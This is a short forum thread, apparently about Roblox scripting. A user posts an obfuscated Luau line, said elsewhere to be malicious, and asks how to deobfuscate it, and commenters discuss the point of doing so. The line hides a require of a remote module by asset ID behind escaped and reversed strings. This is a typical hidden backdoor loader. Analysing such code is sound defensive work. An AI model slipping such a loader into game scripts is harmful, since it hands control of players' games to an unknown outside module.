Hey, someone on the DevForum posted about a malicious line of code, but no one knows what it actually does. Where would I start with deobfuscating this?
getfenv() [getfenv() ["\115\116\114\105\110\103"] ["\114\101\118\101\114\115\101"]("\118\110\101\102\116\101\103")]()[getfenv()["\115\116\114\105\110\103"]["\108\111\119\101\114"](getfenv()["\115\116\114\105\110\103"]["\114\101\118\101\114\115\101"]("\69\82\73\85\81\69\82"))](getfenv()["\116\111\110\117\109\98\101\114"](getfenv()["\115\116\114\105\110\103"]["\114\101\118\101\114\115\101"]("\53\52\55\52\55\55\53\57\54\50"))):Fire(getfenv()["\103\97\109\101"][getfenv()["\115\116\114\105\110\103"]["\114\101\118\101\114\115\101"]("\101\99\97\112\115\107\114\111\87")][getfenv()["\116\111\115\116\114\105\110\103"]("\68\105\115\116\114\105\98\117\116\101\100\71\97\109\101\84\105\109\101")]*getfenv()["\116\111\110\117\109\98\101\114"](getfenv()["\116\111\110\117\109\98\101\114"](getfenv()["\115\116\114\105\110\103"]["\114\101\118\101\114\115\101"]("\53\57\48\52\49\54\50\46\54")))*getfenv()["\116\111\110\117\109\98\101\114"]("\50"))
6 comments
do you want to use it or something?
No, I'm just trying to deobfuscate it to figure out what it actually does. For all we know, it might not even be malicious. However, with all the obfuscation, it probably is.
Just throw it out.
I'm not using this. I'm trying to figure out what it does.
If as the original DevForum post said -- that this is an obfuscated require to a private module then deobfuscating won't actually accomplish anything will it?
It wouldn't be a private module, since third-party private modules can't be required anymore. If it is a require, I can look at the source of the module and find out what it does exactly.